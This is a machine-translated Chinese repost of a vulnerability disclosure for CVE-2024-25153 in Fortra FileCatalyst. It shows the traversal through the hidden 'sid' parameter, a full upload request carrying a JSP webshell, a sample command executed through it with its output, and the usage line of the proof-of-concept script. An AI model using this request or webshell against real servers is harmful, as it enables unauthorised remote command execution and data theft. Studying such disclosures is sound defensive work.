CVE-2024-25153:Fortra FileCatalyst中的远程代码执行

admin 2024年3月18日10:12:27评论71 views字数 4034阅读13分26秒阅读模式
声明:该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。

现在只对常读和星标的公众号才展示大图推送,建议大家把潇湘信安设为星标”,否则可能看不到了

这篇文章为机翻文,部分内容翻译的可能不是很准确,建议阅读原文:https://labs.nettitude.com/blog/cve-2024-25153-remote-code-execution-in-fortra-filecatalyst/

漏洞介绍

CVE-2024-25153是Fortra FileCatalyst中的一个严重的不安全文件上传和目录遍历漏洞,允许未经身份验证的远程攻击者在 Web 服务器上获取远程代码执行 (RCE)。这会影响 5.1.6 Build 114 之前的 Fortra FileCatalyst Workflow 5.x。
我们正在发布针对此漏洞的完整概念验证漏洞,可以在下面的GitHub上找到。
https://github.com/nettitude/CVE-2024-25153
Fortra FileCatalyst 是一种企业管理文件传输 (MFT) 解决方案,由多个组件组成 - FileCatalyst Direct、Workflow 和 Central。FileCatalyst Workflow包括一个 Web 门户,允许用户与组织中的任何人共享、修改和跟踪文件。
https://www.goanywhere.com/products/filecatalyst/filecatalyst-workflow
CVE-2024-25153:Fortra FileCatalyst中的远程代码执行

过去 12 个月,托管文件传输 (MFT) 应用程序中发现了多个重大漏洞,例如CVE-2023-34362(MOVEit Transfer 应用程序中的 SQL 注入和远程执行代码漏洞)以及CVE-2024-0204(一个Fortra GoAnywhere 的身份验证绕过问题。

LRQA Nettitude 在对在外部基础设施中使用 Fortra FileCatalyst 的客户进行安全评估时发现了 CVE-2024-25153。本文包含对该漏洞及其发现的完整分析。

文件上传分析-FtpServlet

在 FileCatalyst 工作流程中,文件上传过程涉及对以下 URL 的 POST 请求。

https://{url}/workflow/servlet/ftpservlet
下面是一个伪请求示例:
POST /workflow/servlet/ftpservlet?wf=octetStream&r=&h=X&u=X&p=&prt=21&d=/&ff=X&b=X&fs=X&dlm=X&c=PUT HTTP/1.1Host: {url}Content-Type: application/octet-stream Cookie: JSESSIONID={SESSION}X-File-Type: image/pngX-File-Name: upload.png{file contents}

尽管此请求需要会话令牌,但默认情况下,FileCatalyst Workflow允许公共用户匿名登录。此凭据或有效凭据是利用 CVE-2024-25153 的要求。

CVE-2024-25153:Fortra FileCatalyst中的远程代码执行

为了识别潜在的安全问题,我们从Fortra的公共网站下载并反编译了最新版本的FileCatalyst Workflow 。

https://filecatalyst.software/workflow.html
如下所示,一些字符串被混淆,使得对应用程序进行逆向工程的任务更具挑战性。
CVE-2024-25153:Fortra FileCatalyst中的远程代码执行

目录遍历分析

通过检查错误消息,我们确定文件通常会上传到 Web 根目录中的以下位置。
https://{url}/workflow/uploadtemp/{session_id}/{file_name}

但是,uploadtemp目录中的任何文件或文件夹都被明确拒绝公开访问,并且会话ID是随机生成的,用户不知道。

通常,攻击者会试图在X-File-Name请求标头中使用一系列点-点-斜杠(../)字符来跳到其他目标目录,但斜杠字符已被清除,因此不可能进行此攻击。
CVE-2024-25153:Fortra FileCatalyst中的远程代码执行

重要的是,我们观察到临时上传目录会在上传后不久被清理过程删除。确切的时间窗口取决于服务器端FTP连接完成所需的时间,这被认为足以进行潜在的攻击。

更重要的是,这意味着如果目录遍历成功,我们就无法在没有删除整个应用程序的风险的情况下定位顶级 Web 根目录。

在本地漏洞利用尝期间,面屏幕截图显示了这种不幸的影响。

CVE-2024-25153:Fortra FileCatalyst中的远程代码执行

如果在针对客户环境的安全评估期间尝试进行此攻击,则需要注意这一点。

识别隐藏参数

如果我们不能利用文件名字段中的目录遍历,我们如何才能将会话 ID 操纵为已知值?对这部分代码进行逆向工程揭示了以下功能,其中显示了一个可选查询参数 bb.decode(KVhV),用于构造会话 ID。
CVE-2024-25153:Fortra FileCatalyst中的远程代码执行

正如前面提到的,这个字符串值被混淆了,我们必须逆向混淆函数来识别原始字符串,如下所示,这显示了sid请求参数。

CVE-2024-25153:Fortra FileCatalyst中的远程代码执行

上传命令执行脚本

通过将sid参数处替换为-点-(../),我们能够将服务器端可执行文件shell.jsp上传到uploadtemp目录之外的位置。

对于读到这里的任何人来说,不要尝试将文件上传到顶级目录,这一点非常重要,因为这可能会删除整个应用程序。

POST /workflow/servlet/ftpservlet?wf=octetStream&r=&h=X&u=X&p=&prt=21&d=/&ff=X&b=X&fs=X&dlm=X&c=PUT&sid=nettitude/../../nettitude/ HTTP/1.1Host: {url}Content-Type: application/octet-streamCookie: JSESSIONID={SESSION}X-File-Type: aX-File-Name: shell.jsp<%@ page import="java.util.*,java.io.*"%><HTML><BODY><FORM METHOD="GET" NAME="myform" ACTION=""><INPUT TYPE="text" NAME="cmd"><INPUT TYPE="submit" VALUE="Send"></FORM><pre><%if (request.getParameter("cmd") != null) {   out.println("Command: " + request.getParameter("cmd") + "<BR>");   Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));   OutputStream os = p.getOutputStream();   InputStream in = p.getInputStream();   DataInputStream dis = new DataInputStream(in);   String disr = dis.readLine();   while ( disr != null ) {      out.println(disr);      disr = dis.readLine();   }}%></pre></BODY></HTML>
上面的上传请求成功,并且 shell.jsp 被放置在 Web 目录中的以下位置:
https://{url}/workflow/nettitude/shell.jsp
在实际环境中,应用程序可能需要不安全的权限才能在 Web 根目录中创建新目录然而,在安全评估过程中观察到了这种配置,发现了 CVE-2024-25153,并且漏洞利用成功。

远程代码执行

上传 Webshell 后,就可以使用它来执行操作系统命令,如下所示:
https://{url}/workflow/nettitude/shell.jsp?cmd=whoami
Response:
nt authoritylocal service

以上表明可以实现操作系统级别的访问,攻击者可以读取或修改系统上的数据,可能包括其他用户上传的文件。这带来了严重的机密性、完整性和可用性风险。

同样,在FileCatalyst Direct中,也观察到同样存在漏洞的 FtpServlet:

https://www.goanywhere.com/products/filecatalyst/filecatalyst-direct
https://{url}:12480/servlet/ftpservlet
这似乎具有相同的功能,并且也被确定可以按照上述步骤进行利用。

概念验证漏洞利用

我们已经为 CVE-2024-25153 创建了完整的概念验证漏洞,可以在下面的 GitHub 上找到。
https://github.com/nettitude/CVE-2024-25153

要使用它,语法如下:

./CVE-2024-25153.py --host <hostname> --port <port> --url <url> --cmd <command>
该工具将执行以下操作:
自动检测是否启用匿名登录获取有效的会话令牌上传具有伪随机生成的文件名的命令执行脚本执行操作系统命令
面的屏幕图演示了这一点。
CVE-2024-25153:Fortra FileCatalyst中的远程代码执行

披露流程

该漏洞于2023年8月7日发现,于2023年8月9日向Fortra报告,并于2023年8月11日发布有效补丁。Fortra于2023年12月被授权为CVE编号机构(CNA),此时CVE-2024-25153已分配并计划公开披露。

关注我们

CVE-2024-25153:Fortra FileCatalyst中的远程代码执行 还在等什么?赶紧点击下方名片开始学习吧!CVE-2024-25153:Fortra FileCatalyst中的远程代码执行

知 识 星 球

不做过多吹嘘和夸大宣传,至于分享的内容值不值,大家最好自己去看下,3天不满意可随时申请退款...。

CVE-2024-25153:Fortra FileCatalyst中的远程代码执行

推 荐 阅 读

CVE-2024-25153:Fortra FileCatalyst中的远程代码执行
CVE-2024-25153:Fortra FileCatalyst中的远程代码执行
CVE-2024-25153:Fortra FileCatalyst中的远程代码执行

CVE-2024-25153:Fortra FileCatalyst中的远程代码执行

原文始发于微信公众号(潇湘信安):CVE-2024-25153:Fortra FileCatalyst中的远程代码执行

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月18日10:12:27
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2024-25153:Fortra FileCatalyst中的远程代码执行http://cn-sec.com/archives/2583782.html

发表评论

匿名网友 填写信息